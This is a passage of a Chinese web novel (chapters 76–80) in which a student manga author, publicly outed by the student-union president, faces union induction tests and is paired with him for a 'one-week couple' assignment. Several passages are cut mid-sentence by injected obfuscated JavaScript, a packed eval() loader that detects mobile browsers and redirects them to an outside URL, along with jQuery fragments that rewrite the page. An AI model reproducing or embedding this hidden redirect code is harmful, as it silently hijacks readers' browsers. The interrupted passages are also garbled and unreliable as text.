石玥诗深深看了她一眼,而后转身回到自己的座位上,动作十分优雅地去解缠绕在她脚腕上的束带,把脚上一双乳白色的高跟鞋脱下来,“我听佑哲说,高中的时候,他和一个女生做出过一个约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说完,她留下一个有些戏谑的目光,转身就走,栗发在身后飘扬,脚步十分轻盈,她的身影消失在了宿舍门的背后。 宿舍内,仅剩的三人一时无比安静。 莫茹全程瞪着一双眼睛听着,每有一句冲击性的话被石玥诗说出来,她的嘴就张大一分。待石玥诗走后,她紧盯着自己的小伙伴汪素文,一副欲言又止的模样。 如果不是当事人之一的自己在场,庄森芽怀疑她已经马不停蹄地议论起来了。 庄森芽又倒回自己的床上,遮光帘轻轻合上了,幽幽的声音从上方传下去,“我休息一下,没事,不用管我。” 所有的麻烦事居然在一天之内都找上了门来,她感觉自己脑袋快要爆炸了。 莫茹的声音传来,“那你休息,我们不打扰你了……” “茹茹,你要带我去哪?”汪素文的声音有点无助。 莫茹嘀咕了些什么,拉着她的小伙伴走了,两人悄声离开了宿舍,庄森芽毫不怀疑她们是去进行了一番密切的吃瓜交流。 76. 突如其来的考核 等这两人走了,她从床上跳下来,装了一大袋子零食和饮料,又折返回柔软的小窝中去。 打开一些分散注意力的社交软件,让所有荼毒精神的媒体流冲刷自己的脑袋,开始暴饮暴食,自言自语,夸张地笑,莫名其妙地流泪,用这些混乱去压制另一片混乱。 没过多一阵,她就折腾得累了,耳机里还在响起短视频博主喋喋不休的重复声响,嘴里是味如嚼蜡的地瓜干,她趴在床上,感觉自己像是一条落网的沉甸甸的鱼。 她打算明天不去上课了,后天也不去,这周都不再露面,直到她觉得外面已经平静下来,没有人记得她是谁,直到人们都把她的事情忘记了。 或者等她整理好心情,有足够的勇气去面对外界的一切,等她的心变得和石头一样坚硬,再让那些风浪拍打在她的身上。 在那之前,她不会再离开宿舍半步了。 说她胆小也好,怯懦也好,她就是要躲起来,缩进蜗牛的壳里,藏在地鼠挖出的洞中,在阴冷潮湿的地方修复自己的精神,不然的话她会因为外面的风吹日晒而变得干巴巴的,一直萎靡不振下去。 她想,上辈子自己可能就是某种喜欢阴冷角落的小爬虫,外面一点风吹草动就会让神经紧绷,缩回到洞穴才会觉得安全。 她闭上眼睛,试图睡觉,但脑海里的思绪不让人如愿。 于是她一边紧张地思考,一边紧张地躲藏,寄希望于自己能早些平静下来,并且待到离开舒适区的时候外面已经风平浪静。 可是,事与愿违。 差不多在晚上的时候,她那两个娇小可爱的舍友回来了,汪素文买了零食,一如既往地在同伴低落的时候开始投递食物。 一袋子小饼干抛了上来,混进了原本已经如山高的零食堆里。 “森芽,早点打起精神来,明天还有会议喔。”下方传来汪素文的声音。 庄森芽干巴巴地眨了眨眼睛,钝涩的头脑反应着对方的话,她在床上勉强撑起来,像是一个病入膏肓的老者,“会议……?” “学生会大群刚发的消息,你看到了吗?” “还没……”手机似乎确实嗡嗡响了几下,但她没在意。 “是主席亲自发的消息,召集这一届一部分新生,明天早上在活动大楼集合,我看到名单里有你。” ……能不去吗。 庄森芽有点抗拒,按当下的状态,她感觉到了明天早上自己依然会是一副半死不活的模样。 “好像和学分有点关系,还挺重要的。” “……” 拿捏到她的软肋了。 庄森芽认命地翻出手机,打开学生会的群聊天,在置顶页面找到了会议内容,其中没有说明召集他们这帮新生具体是什么事情,只留下了时间和会议地点。 越是重要的事情,透露的信息就越少。 这样看来不得不去了。 “明天一起吧?”庄森芽提议。身边有个汪素文,她觉得自己起码能安定一些。 “好呀。”汪素文回答。 这一晚上,她睡得有些不安宁。 白天那些思绪被她带进了梦中,她梦见自己被关在一个漆黑冰冷的监狱里,警官在外面细数着她的罪状,包括她对诺特斯的包庇、不及时通知警方的怠慢,以及思想上的异端倾向。她成了一个国际级的罪犯,因为她创造了一个无恶不作的危险分子,这样一个穷凶恶极的人物不是正常人能想象出来的,他凶残到连国际联合军事同盟都拿他没有办法。 醒来的时候,她出了一身冷汗。看到床上乱七八糟的零食袋子还有空饮料瓶,反应过来自己并不是在监狱里,心情这才镇静几许。 洗漱一番,从衣柜里翻出一顶鸭舌帽,又穿上带着兜帽的上衣,把她白色的脑袋整个包住,恨不得带上一副墨镜,让亲爹亲娘都人不出来是谁。做好了这些,她才和舍友出门。 穿过校园的湖泊,来到活动大楼,三层的学生会专用会议室已经到了一些人,肃穆的房间里都是稚嫩的面孔,人数大概有十几个,新生们似乎谁也不知为什么主席会在大清早把他们召唤过来,而且召集的还不是全体新人,而是其中的一部分。大家坐在一起,趁学哥学姐们没来,开始纷纷小声议论起来,可谁也没弄明白这次会议的人员挑选究竟遵循着怎样的规律。 不过多久,一个步伐带风的人走了进来,椅子上的新生们立刻停止了交流,盯着站在最前方的学生会主席。他穿着一身正装,看起来十分的正式,他不是一个人来的,身边还跟着副秘书长巴木优,她往那里一站,像是个监考老师一样,脸上一点表情也没有。 不知为何,气氛好像有点严肃,学生们都不由得紧绷了起来。庄森芽和汪素文两人坐在第三排的位置上,互相交换了一下视线,彼此眼中都是迷茫的神色。 “人都到齐了,是吧。”裴佑哲向身边的巴木优问,连声音听起来都比平日里低沉几许。 巴木优的音色如外面的空气一样凛冽,“到齐了。” “好。”主席的目光落在下方的新生脸上,一个个扫视过去,表情带着些威严,“今天召集各位过来,是有一件非常重要的事情要宣布。” 他在讲台旁边的电脑上操作了几下,背后的巨型屏幕亮了起来,显示出一个列表,上面是一行行人名。 “今年刚开学的时候,学生会的招募流程和雏鸟周的时间安排有一些重叠,导致部分同学没有来得及接受新人考核。”裴佑哲说,“按照传统,未能参加考核的成员,其在学生会获得的一切活动学分都不能作数。” 听到这里,庄森芽有点紧张起来。 她就指望着这点学分呢,前一阵子绘画社被漫画社吞并了,两个社团要合并后成立一个新的,但流程一直在走,这个新社团拖拖拉拉就是成立不起来,也不知道最后学分的事情怎么算,大概是不能寄希望于那个轻松舒适小社团能在这方面帮上什么忙。 她只能靠学生会这座大山了。 “本来想找一个大家都空闲的时候补上这次考核,但拖延至今,却一直没有找到一个合适的时间,这件事是我安排不当。”裴佑哲坦率地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……礼仪考核的具体内容,每个部门有所差异,后续考核负责人员会通知你们。”主席十分有条理地继续往下说,会议室内充斥着他沉稳的声音,“社会交流考核,内容很简单,只考验你们最基本的社会运行原则之一,交易。负责人后续会把一些‘货物’交给你们,而你们的任务就是把这些东西以指定的价格卖出去。” “卖东西啊……”汪素文小声嘀咕,“感觉是个挑战,不过正好可以趁这个机会锻炼一下。” 庄森芽偏头看了一下自己的舍友,记得她对兼职很感兴趣,看着温温柔柔的娇小女孩,其实心里还挺强大的,这种坚韧要是能分她一点就好了。 “至于最后一项,面对上级的态度考核。因为学校的领导老师们不会插手学生社团的事情,所以这一项会由各部门干事负责。”裴佑哲说完,低头看了一眼手表,他语速变快了一些,“木优,上级态度考核的具体内容你帮我说明一下,我还有事,要走了。” 巴木优盯着裴佑哲,语气平淡,“把最难的部分交给我了?” 裴佑哲没回应她,在离开前最后丢下一句,“接下来半个月,每日晚七点之后,请各位腾出时间,配合学生会进行入会考核,务必严肃对待这件事情。” 然后,他就匆匆离开了会议室,仿佛来这么一趟的时间是在夹缝里挤出来的。 77. 你这考核它正经吗 学生会副秘书长难得叹息了一声,她接替了主席的任务,站在他刚才所在的位置上,对下面的同学们继续介绍。 “上级态度考核,是学生会从创办之初就有的一项考核内容,它分为两种形式,你们只需要接受其中一种就可以。”她用没什么起伏的音色阐述着,“一种是比较正式的,因为你们不会接触所以我就不介绍了;而另一种则是……嗯,不那么正式的测验。” 她话语听起来有点慢吞吞的,仿佛在斟酌着用词,“它最初是一个带着些玩笑性质的活动,后来逐渐演化得面目全非。但出于对传统的考虑,学生会一直没有废除这项活动。” 她说了很多前提条件,就是不说具体的内容,台下的学生们听得抓心挠肝,庄森芽也不禁好奇究竟会是怎样不正式的‘上级态度考核’。 终于,副秘书长大发慈悲,开始说重点了,“这项考核,我们内部称之为‘一周情侣’,不过这个代称早就被外面的人知道了,现在都在这么叫。” “一周情侣……?”有人困惑地重复着。 “是的,就是一周情侣,你没听错。”巴木优说,“一周时间内,新人需要和学生会干事组成临时‘情侣’关系,在此期间,受考核人员必须服从高年级干事的一切命令。” 她说完,学生之间立刻响起了议论纷纷的嘈杂声响。 “啊?情侣?服从命令?这个考核它正经吗……” “虽然刚才也说不是那么正式的考核,但这会不会有点太随意了……前面几个考核听起来都还挺正常的,这个真不是在开什么玩笑吗……” “服从一切命令,那如果提出了很过分的要求怎么办?” “已经有对象了该怎么办啊……可以不参加吗?” 台下扔上来一个又一个问题,自从有些严肃的裴佑哲离开、主讲人变成了副秘书长巴木优,学生们似乎有了肆无忌惮提问的勇气。 副秘书长没理会那些问题,而是说道:“我只是负责传递考核内容,具体有什么疑问,你们去找学生会主席。” 她丢下这么一句话,也和裴佑哲一样消失在了会议室的门口。 一时间,四下哗然。 学生们都议论疯了,尤其是针对最后那项‘一周情侣’,在此之前他们谁都对这个项目闻所未闻,就连已经通过考核的学生会成员都闭口不提,消息闭塞到令人有些诧异。 庄森芽隐隐有些担心起来,不是因为考核内容,而是因为时间上的安排。临近学期末,《灵月十四》的剧情也接近尾声,更何况最近又有一堆麻烦事找上了她,加之学生会的考核,她怕自己会忙得喘不过气来。 会议解散,新生们都带着各种不满的情绪离开,但是没有一个人敢在大群中吱声,只敢纷纷在各自的舍友小群、好友群、雏鸟周等等小群里叽叽喳喳议论个不停。 早上的时间刚过,正是上午课程开始的时候,汪素文去上课了,但庄森芽只想回宿舍,她怕被人认出来,怕有人当众问她《灵月十四》的事情,害怕被各种各样的视线包围,于是翘了课,独自一人走在回宿舍区的路上。 戴着兜帽,鸭舌帽和口罩遮住了大半张脸,没有人认出来的感觉让她十分安心。手机嗡嗡地响起来,她打开锁屏界面,看到副秘书长拉了一个考核群,群成员就包括刚才去开会的那十几个新生。 巴木优甩了一份入会纲领的PDF文件进群,要求今天二十四点之前,所有成员都需抄写一份,并将抄写件以拍照或扫描的形式发布到群中来,会有专门的人进行统计。 消息发出来后,很长时间没有人回应,学生们的情绪似乎都有些抵触,但是没过多久,第一个人回了一句‘好的’,接下来就是一连串的‘好的’,表面上看着十分和谐,看起来似乎没有人提出异议。 抄写入会纲领对庄森芽来说并不是什么难事,反正她今天翘了课,待在宿舍里也没什么事,做点枯燥的事情说不定能帮忙平复一下仍在忐忑的心情。 她趴在桌子上百无聊赖地抄写着,老妈说过这个姿势对眼睛不好,可现在的她已经管不了那么多,只想怎么舒服怎么来。 纲领是简化版,但依然很长,她伏案三四个小时才结束了这场酣畅淋漓且毫无意义的誊抄,写完的时候已经浑身酸痛,精疲力尽,头眼昏花。不过也有好处,她现在已经累到没有精力去想漫画或者裴佑哲还有诺特斯那些乱七八糟的事。 但好景没有持续多长,首日的考核只是入门级别的难度,次日的礼仪考核加重了力度。 庄森芽是外联部的人,部门与校内学生的交集相较其他部门要少一些,按理来说考核会比较轻松,但对她个人而言依然是一个极大的挑战。 她被要求进行所谓的‘微笑训练’。 晚七点,来到总是很热闹的活动广场,代表学生会进行近期的活动宣传,站在一块立牌的旁边,像个车模一样对每个经过的学生微笑,在有人询问的时候抱着极大的耐心为他们讲解。 这在平时来看只是个有些挑战性的事务,可对现在的她来说完全不同,当下的她是一个想要尽量躲避群众视线的焦点人物,是学生会主席口中那个兼顾学习与事业的优良学生,是大家都好奇长相的人。 庄森芽和汪素文两人一左一右站在巨大的立牌两侧,鸭舌帽和口罩自然是不能戴的,她那一头惹眼的白发就那么明晃晃地露了出来,来来回回走过的学生与其说是在看立牌,不如说更多是在看她。 庄森芽只想找个地缝钻进去,可是碍于不远处有个考核人员正在盯着她们,她只能勉强扬起嘴角,像个木桩一样目视前方。 “庄森芽……《灵月十四》的作者!”一个陌生的男生凑上前来,眼神放光,“你好你好,我以前看过你的漫画。” 庄森芽艰难地张嘴,小声回应,“谢谢……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14315319|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “诶不过我只看了三话,后面有点没耐心看下去了。”男生摆摆手,“你给我讲讲后面都画了些啥呗?我听听看,好决定我要不要继续看下去。” 不知为何,男生看起来像是一副施舍的态度。 庄森芽感觉有点不自在,她朝对方说:“说出来的话就剧透了。” 男生扬了扬眉毛,“哟,还有这么值得保密的剧情呢?” 她有点尴尬地点点头。 “那加个联系方式呗?”他上下打量着她,眼神中透出一丝别样的意味。 “不了。”庄森芽拒绝。 “加一个,我去给你的漫画打赏。” “不了,谢谢。” 男生的表情变化很快,没得到想要的,他鄙夷地哼了一声,转身离开了,“装什么……” 庄森芽微微皱起眉,脸色不是那么好看,但因为面部还要保持着微笑,导致她整张脸有点扭曲。 讨厌的事情还是发生了,果然她之前想的是对的,坚持不公开自己是作者,身边没有人知道她在画漫画,这是保护自己最好的方式。 可是现在她已经‘赤身裸体’了,裴佑哲在期中演讲上的那番话一下子扯开了蒙面的面纱,将她整个人暴露在众目睽睽之下,再也无所藏匿。将来很长一段时间,她这个人都将和《灵月十四》这部作品绑定在一起,直到人们大发慈悲地把她和她的画遗忘。 礼仪考核持续了两天,期间她被搭话过不知道多少次,其中不乏有带着欣赏的意味来结交朋友的,但她记住的却只有那些冰冷地刺向她的恶言。 人就是这么下贱的生物,用善意对待他们又能怎样,他们还是永远记着那些让自己开心不起来的事情。 还有人发现《灵月十四》这主人公尤梭几乎和裴佑哲长得一模一样,问她是不是因为喜欢学生会主席所以才把他画到自己的漫画之中,这些问题更是让她头大。 礼仪考核结束之后,庄森芽只觉得自己被剥掉了一层皮,对接下来的社会交流考核愈发恐惧,她甚至想过要么就这么放弃算了,这个考核她也不考了,干脆离开学生会,学分不要了,爱怎样就怎样吧。 舍友汪素文看出了她的颓丧和退缩,用零食投递给她,但不起效果,抱出自己养着的小仓鼠给她玩,也不见她开心起来。 个头小小的女孩想尽了办法,劝庄森芽坚持下去,说她们已经好不容易抄写完了纲领、又完成了礼仪考核,只剩下社会交流考核以及上级态度考核,咬咬牙事情就过去了,大学还有三年多,留在学生会能得到不少好处,不要就这么放弃。 庄森芽渐渐被汪素文有些说动了,是啊,都已经能够忍受有人当面对她的作品不屑一顾,后面还有什么难事呢。 她吃着自己天使一样的舍友投喂过来的糖块,好好睡了一觉,攒足了精神头,整理了一番心情,这才做好了迎接下一个挑战的准备。 78. 寄,被安排了 负责考核的学长交给了这些新生一箱子舞台道具,放眼一看都是些没人要的破烂,他要求他们把这箱东西卖出去,并且标定了底价,考核时间结束的时候,他要回收指定数量的资金。 十几个新生们领走了这些道具,庄森芽和汪素文拿到的是一些零散的耳饰和头饰,有些已经坏了,还有些破破烂烂的。 庄森芽没什么斗志,因为连自己都看不上的东西,她不觉得会有什么人要买。 但汪素文看起来兴致盎然,她教庄森芽先把那些有些脏的小物件洗一洗,把坏的挑出来,用针线稍微补一补,俨然又是一个个崭新的小装饰。 庄森芽看她妙笔生花宛如起死回生的能力,不由得感叹连连,汪素文的手就和她的心灵一样巧,穿针引线不在话下,各种缝纫技术信手拈来,她似乎掌握着许多生活的小本领,和她比起来庄森芽感觉自己是个几乎没有什么动手能力的弱智儿。 把那些没人要的道具收拾成一些像样的商品之后,两人就把东西挂在二手平台上。她们也摸不太清哪些东西受人欢迎,哪些东西能卖更高的价格,于是一开始把价位定得很高。 商品无人问津,于是只好一步步降低下探。终于在无数次沟通之后,成交了第一笔,可是价格比负责考核的学长要求的底价还要低,这样下去她们根本卖不出承诺回收的资金。 她与汪素文两人搬了椅子,坐在宿舍阳台边上,对着商品愁眉不展。 汪素文用指尖点着自己的下巴,一副沉思的模样,而庄森芽的脑袋已经彻底罢工了,她想不出怎么能把这些废料包装得天花乱坠,让人鬼迷心窍买下它们。 但汪素文没过多久就给出了方案,她问庄森芽有没有不要的东西,可以和那些小头饰捆绑售卖,负责考核的学长又没说不可以带着自己的东西打包一起卖,甚至有别的学生已经做好了自己垫钱的打算,学生会要看到的成果是最终递交上去的金钱数目,而不在乎他们达成目的的手段。 庄森芽想了想,认为这个方法可行。垫钱她是绝对不会垫钱的,家庭情况已经是那样,自己平时吃顿好的都得掂量掂量,她一分冤枉钱也不想多花。 于是两人把自己平时不用的一些装饰用的小东西——比如闪闪发光的胸针、形状各异的冰箱贴等等——都拿出来捆绑销售。 虽然抬高不了多少价格,但总算是能卖出去东西了。 两人几乎把自己的家底都要掏空,又费尽心思和各种人精一样的顾客讨价还价,终于是达成了考核人员所要求的金额数目。 如此,总算是过了这一关。 活动时间结束后,庄森芽了解到有一两个学生已经放弃了,他们不满于学生会考核如此严苛的对待,想要投诉他们不当的行径。 但诉苦无门,因为接管学生投诉的也是学生会的纪检部。 紧接着,最后一项考核终于来临。 周一清早,学生会召集这批进行考核的学生,来到活动大楼的会议室,进行上级态度培训的分组抽签。 规则就和之前副秘书长巴木优阐述的一样,接下来的一周之中,每个待考核学生都将被分配一名高年级的学哥学姐,组成所谓的‘一周情侣’组合,在此期间,新人要对另一方言听计从。 规矩听起来很恶劣,但在加入学生会的巨大诱惑面前,新人们还是硬着头皮参与了本次考核。 会议室之中,有这么两拨人,左边坐着的是神情轻松的‘上位者们’,他们基本都是大二大三的学生会干事,有时间来配合参加新人考核;而右手边坐着的则是一群紧张兮兮的新人们,他们像被挑拣的货物一样排成一排,不敢和对面的高年级学生们对视。 庄森芽和汪素文紧挨着坐着,两人的手紧紧握在一起,时不时彼此投去加油打气的视线。庄森芽偷偷瞄了一下对面的干事们,其中陌生的面孔居多,唯一熟悉的是那个浅黄色头发的外联部形象大使。 见到费洛,庄森芽不由得疑惑。 他不是留级生吗,不久前还作为大一学生和他们一起参与雏鸟周的活动,这时候又为什么作为高年级的学长来参加学生会的考核? 再往左右看去,脸庞就陌生许多,数下来总共有十五个人,但有点奇怪,庄森芽记得来参与考核的新生总共有十六个,这下数量不就匹配不上了? 会议室前方,副秘书长巴木优抱着两个抽奖箱,要求新人们分成男女两队,排队站好,依次从中抽出自己的指定‘情侣’。 庄森芽和汪素文犹犹豫豫地站在了队伍的末尾,他们前面的女生每抽中一个,巴木优就会将纸上的名字念出来,随后就会有一个高年级的学长从座位上站起来,把匹配上的女生带走。而男生组那边也是同样的。 不分性别,低年级的学生们全都胆战心惊,在得知自己的‘情侣’是谁之后,都是一副小心谨慎的态度和对方说话。 接下来这一周考核内容基本上由每一对‘情侣’中的学生会干事自主决定,新人能否通过的一纸决定权也紧握在他们手中,或许掌控别人命运的感觉很好,那些学哥学姐脸上洋溢着的都是快心满意的表情。 看着前面的人一队又一队离开会议室,庄森芽紧张了起来。留在座位上的学长越来越少,越到后面,越是大概知道自己会被分配给什么人。 她悄悄扫了一眼,只见费洛还怡然自得的坐在那里,他旁边坐着两个虎视眈眈的学长,盯着队伍里仅剩的几个大一女生。 “……”她感觉有点不适,心里祈祷千万别抽中那两个男生,要是费洛的话就好了,她相信好兄弟会对她网开一面的。 庄森芽站在队伍的末尾,前方还有三个人,她眨了眨眼睛,后知后觉地感到有点不对劲。 队伍里还剩四个大一女生,可是旁边坐着的男生学生会干事只剩下三个人,怎么少一个? 带着困惑继续向前走,最前方两个女生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14329508|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些不幸地抽中了那两个虎视眈眈的学长,均带着有些恐惧的目光,没有反驳余地地被那两个男生带走了。 接下来轮到了汪素文,巴木优把抽奖箱放低了一点,个头矮小的女孩才抽得到。她毫不意外地摸中了最后一个等待着的人,费洛早在巴木优还没念出纸条上的人名时就站了起来,一脸称心如意的表情,来到汪素文身边。 他笑得明媚,“好巧啊,素文。” 汪素文模样有点紧张,但看起来丝毫不害怕,“费洛学长。” “接下来一周请多指教。”他大大咧咧伸出来一只手。 汪素文把她的小手迟疑地递了上去,“学长,我会努力的。” 费洛笑得开心,“好!那第一项任务,跟我去吃个早饭。他们定的会议时间太离谱啦……” 说着,两人便往会议室外面走。汪素文不忘回头朝自己的舍友摆摆手,费洛也跟着回头笑嘻嘻地挥手,两人仿佛不是去考核的,而是去玩乐,模样看起来倒真像是一对商量着每日三餐吃什么的小情侣。 庄森芽冲自己的舍友微笑,祝她一切顺利,又向自己的兄弟挤眉弄眼,意思是警告他不许为难汪素文。 视线抽离回来,落在巴木优抱着的抽奖箱上,她有些迟疑地看了一下斜后方的座位,那里已经空空如也。 “抽吧。”副秘书长面无表情地对她说。 庄森芽伸臂探了进去,在空荡的箱子内翻出了最后一个纸条。 ……会是谁呢。 指尖抿着折叠的纸片,将它缓缓展开。 三个大字出现在了那上方,她有点发愣。 纸条上赫然写着一个名字:「裴佑哲」。 巴木优的视线越过抽奖箱,看到了那上面的名字,她了然地说:“他很忙,所以没来,我会告诉他你抽中了他,那之后他会自己联系你。” ……最坏的情况发生了。 是谁都好,为什么偏偏是他,这个她最想与之撇清关系的人…… 虽然还有很多话想跟他说,比如迟迟未能找机会表达的歉意,还有关于前不久演讲的询问,她想知道他为什么要在众人面前透露她是《灵月十四》的作者。 鉴于之前裴佑哲不太愿意和她交流的态度,这个考核的确提供了难得可贵的私下问询机会,可问题就出在它的性质。 ‘一周情侣’……她只怕这样的安排会让自己陷入更大的舆论风波之中。 话说回来,裴佑哲都已经忙到没时间出席今天抽签的现场,又怎么会答应承担新人考核的职责……? “能、能换吗?”庄森芽有点不确定地问。 巴木优把抽奖箱放在讲台上,拍了拍手,“这就要问当事人的意见了,你们两个都同意的话,也不是不可以。” “……”有点怂。 副秘书长朝庄森芽晃了晃自己的手机屏幕,“消息已经给老大发过去了,祝你考核顺利。” 79. 冤情 离开了会议室,庄森芽走在去往教学楼的路上,上午有一节课,她打算找个地方把包里带的面包牛奶解决之后再去上课。 在教学楼外面的公园椅上坐下来,她一边啃着肉松面包,一边盯着自己的手机。 距离刚才巴木优给主席发消息,已经过去将近十五分钟了,裴佑哲那边一点动静都没有,庄森芽不禁有点忐忑。 或许她应该主动和对方说句话? 打开与他的聊天页面,上一次发消息还是在海岛旅行的期间。 那个事端频发的夜晚过后,她想要找裴佑哲把话说清楚,可对方却一直在躲着她。庄森芽后来给他发去一条‘我想跟你好好聊聊’的信息,没有收到回音。 她不想在手机上解释那天的事情,害怕文字会带去曲解,所以一直想找他当面说话。 而且至目前,裴佑哲完全没给过她这个机会。 这次的‘一周情侣’考核会是个突破口吗…… 就在她胡思乱想的时候,突然一条新消息顶了上来,吓得她差点没拿住手机,险些让它从手里滑出去。 裴佑哲联系她了,这让她莫名感觉有点心虚,就好像自己在这翻看聊天记录的行径被发现了似的。 主席发来的消息很简短,不带任何的语气词:「来活动楼405会议室。」 看这个样子,他是已经知道了考核的分配结果。 庄森芽咽了口口水,感觉有点紧张,回了一句「好的」。然后把食物包装袋一类的垃圾装回背包里,又回到了活动大楼。 来到405会议室门口,她往里面瞧,不大的房间内只有一个人影,那人坐在大门正对着的椅子上,手里捏着两张资料纸,桌子上摆放着一些矿泉水瓶,看起来刚刚开过一次会。 裴佑哲看都没看他,伸手,手掌朝上勾了勾,意思是叫她进去。 “关门。” 庄森芽听话地走进去,把门带上,然后就站在门口不动了。 主席的目光从资料上移走,瞥了她一眼,神色平淡,把手里的纸放下,“坐。” 庄森芽磨磨蹭蹭来到裴佑哲的对角,像个亦步亦趋的人偶一样,小心翼翼坐在他的对面。 气氛果然和她想的一样,很紧绷,不过想想也是,怎么可能轻松呢……她那天晚上对裴佑哲说了那么过分的话,是个人都会生气,不会轻易原谅。 主席从一旁拿来一本蓝色的夹子,像冰壶一样将它甩给对面的人,“把这个活动审核资料给辅导员送过去。” 庄森芽接过,反应过来这是对方在给她下达任务,裴佑哲看起来已经代入了考核官的身份,并未对这次‘一周情侣’的安排提出异议。 他没有异议,她也不敢提意见了,生怕自己说错了什么话再惹这个学生会主席不高兴。 而且她有更重要的事情要讲。 不能错失这么难能可贵的机会,她双手紧紧捧着那蓝色的资料夹,深吸了一口气,试探地问:“那个……佑哲,期中演讲那天,你为什么要公布我是《灵月十四》的作者?” 主席敛眸,音色没什么起伏,“这周结束之后我会告诉你原因。现在没什么事的话就离开吧,去办我交给你的事。” 并不严厉的逐客令摆在眼前,庄森芽没有就此退缩,上身前倾,模样有些急切,“是因为你在生我的气,对吗……那天的事情是我不对,我不应该说那些话。” “……”裴佑哲没说话,情绪藏在低垂的眼中,让人看不出他在想什么。 “我当时有点激动,说那些是因为……”庄森芽组织着一早想好的借口,“玥诗……她喜欢你很久了,我身为她的舍友,理应和她喜欢的人撇清关系。佑哲,我很感激你一直以来对我的照顾,但我从来没想到你对我有那样的想法,我——” “谁说过我喜欢你了。”他冷不丁开口。 “……呃?” “我从来没说过那种话。”裴佑哲直视着她,眼里是漠然的神色,“那晚我哑口无言,只是惊讶于你歪曲事实的能力。” 歪曲事实……? 她一时反应不过来对方在说什么,感觉脑袋有点混乱。 “说我喜欢你还和别的女人上床,乍一听来你好像很委屈。”裴佑哲换了个姿势,头略歪着,目光有点无情地落在她的脸上,“可惜当时只有费洛一个听众,不然事情应该能如你所愿闹得更大吧。” “你在说什么,佑哲……” 学生会主席的目光陡然变得锐利,“我从来都不知道你原来是这样的人,森芽。” 听到这里,她感觉胸口有点堵,不由抿紧了唇,完全没有料到裴佑哲会这么说。他说他其实并不喜欢她,这倒还好,可是那段‘没想到你是这样的人’的阐述却让她感到难过,毕竟谁都不希望被信赖的朋友这么说,这感觉就像是被对方讨厌了一样。 “人还是不要太自己我意识过剩。”他说,“我关照过很多人,因为这是学生会主席的责任,如果每一个被照顾过的人都像你这么想,在我这个位置上的人干脆不用做下去了。” 对方冷淡的模样让庄森芽很不适应,一直温柔有加的人突然换了个冷若冰霜的模样,任谁也一时间难以接受。 裴佑哲刚才的那番话让她感到困惑,她隐约觉得对方可能是误会了什么,但脑袋又转不过那个弯来。 不过,起码有一点她还是能看出来的,他的确在因那日的事情而生气。 “佑哲,我为我说过的那些话道歉,对不起……” “本来因为这件事,我在考虑把你逐出学生会,这里不欢迎随便造谣的人。”裴佑哲似乎对她的歉意并不领情,他从座位上起身,从她身边擦肩而过,在离开会议室之前,丢下一句有些寡情的话,“但考虑你可能只是一时犯错,所以我可以给你一次机会。这次考核如果能通过,你可以继续留在学生会,不然就离开。” 主席走后,会议室只剩下庄森芽一个人的身影。 来之前,她没想到是这样的展开,现在的心情不由得有点低落。 回想起来……自己之所以会抽中裴佑哲,恐怕不是什么巧合,应该是专门安排的,目的可能是想要亲自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“复查工作怎么做的。”主任厉声说道,他啪一下子合上文件夹,两个塑料板中窜出的气流扑在庄森芽的脸上,像是一个无声的耳光,“好几页都缺少学生会主席的签字,拿回去重新弄。” 他把它甩进她的怀里,背过身去就走了。 庄森芽呆在原地,有点局促地不知道该做什么,她懵懂地翻开文件夹,上面密密麻麻的字让她有点头晕眼花。 这时候,一旁的医学系辅导员低声对她说:“没事,拿回去签个字就好了。” “……好的。”她应了一声,离开了办公室。 出了门,才后知后觉地有些委屈。 她只是个来递交资料的,又不是学生会主席的秘书或者直系下属,没有检查其中内容的职责。可是刚才那个办公室主任却完全没有问过这一点,态度上无疑直接就认定了是她的问题,这让她感觉有点冤屈。 但现在不是喊冤的时候,这点情绪只能自己吞下去,交代给她的事情还是要办完。 80. 上位者 掏出自己的手机,给裴佑哲又编辑了一条信息过去,阐明了现在的情况,问他现在在哪,她把文件拿过去给他,补上签名。 五分钟后,学生会主席终于回信了:「活动楼507会议室。」 他还在活动大楼辗转,似乎有数不清的会要开。 于是庄森芽今日三度进入活动大楼,来到5层的会议室门外等他。 